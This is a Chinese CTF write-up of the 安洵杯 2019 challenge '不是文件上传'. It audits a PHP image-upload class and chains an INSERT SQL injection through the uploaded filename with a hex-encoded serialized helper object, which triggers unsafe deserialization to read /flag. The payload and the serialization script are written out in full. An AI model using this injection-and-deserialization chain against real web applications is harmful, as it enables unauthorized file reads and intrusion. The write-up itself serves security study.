[安洵杯 2019]不是文件上传 文件上传的注入

这篇博客探讨了一次通过代码审计找到PHP文件上传漏洞的过程。作者详细分析了源码,指出文件名可控、INSERT注入和反序列化等安全问题,并展示了如何利用注释符实现注入,最终获取敏感信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

进入题目传了一个jpg图片上去

发现文件名被重命名了,但是给了我们一个path路径(难道就是一个绕过题?这么轻松就会告诉你路径,跟题目有点不符)

啪啪打脸,各个地方抓一下包show.php,upload.php以及show.php?delete_all=true,按照经验我们应该在某个地方是可以获取到这些源码的,但是我这里找了很久根本找不到……,只能再一次求助别人的wp……

没想到的是!!!

 

根据这条信息去github找这个出题人

 

获得源码,好好代码审计了(不愧是锻炼搜索能力,获得源码的方式长见识了)

<?php
class helper {
	protected $folder = "pic/";
	protected $ifview = False; 
	protected $config = "config.txt";
	// The function is not yet perfect, it is not open yet.

	public function upload($input="file")
	{
		$fileinfo = $this->getfile($input);
		$array = array();
		$array["title"] = $fileinfo['title'];//没有后缀的文件名(无过滤)
		$array["filename"] = $fileinfo['filename'];//随机数.后缀
		$array["ext"] = $fileinfo['ext'];//后缀
		$array["path"] = $fileinfo['path'];//pic/随机数.后缀
		$img_ext = getimagesize($_FILES[$input]["tmp_name"]);//getimagesize返回上传文件的大小以及相关信息

		$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
		$array["attr"] = serialize($my_ext);//序列化宽度和长度
		$id = $this->save($array);
		if ($id == 0){
			die("Something wrong!");
		}
		echo "<br>";
		echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
	}

	public function getfile($input)
	{
		if(isset($input)){
			$rs = $this->check($_FILES[$input]);
		}
		return $rs;//路径啥的,文件名没有过滤
	}

	public function check($info)//白名单过滤文件后缀并且文件名随机显示
	{
		$basename = substr(md5(time().uniqid()),9,16);//随机
		$filename = $info["name"];
		$ext = substr(strrchr($filename, '.'), 1);//“strrchr()函数(在php中)查找字符在指定字符串中从右面开始的第一次出现的位置,如果成功,返回该字符以及其后面的字符
        //$ext为后缀名
		$cate_exts = array("jpg","gif","png","jpeg");
		if(!in_array($ext,$cate_exts)){//白名单过滤
			die("<p>Please upload the correct image file!!!</p>");
		}
	    $title = str_replace(".".$ext,'',$filename);//$title为没有后缀的文件名
        //文件名没有进行过滤
	    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
	}

	public function save($data)
	{
		if(!$data || !is_array($data)){//不存在或者为数组
			die("Something wrong!");
		}
		$id = $this->insert_array($data);
		return $id;
	}

	public function insert_array($data)
	{	
		$con = mysqli_connect("127.0.0.1","root","root","pic_base");
		if (mysqli_connect_errno($con)) 
		{ 
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){//文件的一些相关信息
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);//chr(0)为null
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
        //implode函数返回数组sql_fields用,将元素连接起来的字符串
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";//注入嫌疑
        //$sql="INSERT INTO images('title','filename','ext','path','attr')VALUES('xx','xx','xx','xx','xx')
        //没有过滤的文件名存入了数据库
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

	public function view_files($path){
		if ($this->ifview == False){
			return False;
			//The function is not yet perfect, it is not open yet.
		}
		$content = file_get_contents($path);
		echo $content;
	}

	function __destruct(){
		# Read some config html
		$this->view_files($this->config);//$this->config=flag.php
	}
}

?>

 这里有几个注意的小点:

1、check函数只过滤了文件后缀,文件名由我们自己控制

2、insert_array函数中存在着INSERT注入

3、upload函数中有对attr属性的值进行序列化;并且show.php界面会进行反序列化

一些重要的函数地方
//白名单过滤
$cate_exts = array("jpg","gif","png","jpeg");
//针对序列化后不可见字符的一些过滤,其实这里不用管,因为后面一个函数又将\0\0\0转换回去了,感觉有点多次一举
foreach($data as $key=>$value){//文件的一些相关信息
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);//chr(0)为null
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
//我们的核心注入点
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";//注入嫌疑
        //$sql="INSERT INTO //images('title','filename','ext','path','attr')VALUES('xx','xx','xx','xx','xx')

接下来分析一下关键函数(我的思路)

public function insert_array($data)
	{	
		$con = mysqli_connect("127.0.0.1","root","root","pic_base");
		if (mysqli_connect_errno($con)) 
		{ 
		    die("Connect MySQL Fail:".mysqli_connect_error());
		}
		$sql_fields = array();
		$sql_val = array();
		foreach($data as $key=>$value){//文件的一些相关信息
			$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);//chr(0)为null
			$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
			$sql_fields[] = "`".$key_temp."`";
			$sql_val[] = "'".$value_temp."'";
		}
        //implode函数返回数组sql_fields用,将元素连接起来的字符串
		$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";//注入嫌疑
        //$sql="INSERT INTO images('title','filename','ext','path','attr')VALUES('xx','xx','xx','xx','xx')
        //没有过滤的文件名存入了数据库
		mysqli_query($con, $sql);
		$id = mysqli_insert_id($con);
		mysqli_close($con);
		return $id;
	}

可以发现我们INSERT里面的键值对都是从参数data来的,因此我们要寻找data到底代表哪些

继续网上追哪里调用了save函数

 发现save函数的参数来自于fileinfo,我们便看看getfile函数究竟有啥

发现都是文件的一些文件名,后缀,路径啥的值,因为这里用的是随机数,还添加了别的东西,因此很多属性都不能控制,我们能控制的只有title属性

 可以函数分析到title是利用str_replace替换函数,将后缀.jpg删除,只留下文件名,因此给我们留下了文件名操作的空间。

由上面可知这些键值对作为数组传入了foreach来进行分开赋值,再到INSERT

$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
//注入嫌疑
//$sql="INSERT INTO images('title','filename','ext','path','attr')VALUES('xx','xx','xx','xx','xx')

foreach后INSERT进行赋值应该是这样的,我们现在就要给attr传一个序列化后的字符串,再在show.php界面反序列化获取flag,这里我们可以利用可控的文件名配合注释符#来进行注入,当我们输入

1','1','1','1',serialize())#
=>
会变成
images('title','filename','ext','path','attr')VALUES('1','1','1','1',serialize())#,'xx','xx','xx','xx')

 可以看到利用注释符#成功将后面的语句给注释掉了,留下来了我们自己构造的值,实现了将序列化的值赋给attr参数

接下来我们构造序列化的东东

<?php
class helper
{
    protected $ifview = True;
    protected $config = "/flag";
}
$a=new helper();
echo serialize($a);
echo "\n";
echo bin2hex(serialize($a));
//之所以是/flag,是因为我之前用的flag.php,结果报错说要路径,因此是/flag

在数据库中它会自动识别十六进制的,之所以要编码绕过,因为不要忘了我们注入的地方是文件名!!!

 记得上传的时候加个0x代表十六进制噢

去show.php页面刷新一下

 前面的是我之前测试的,看id=5时候就可以了 

注释符真的很强大啊哈哈

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值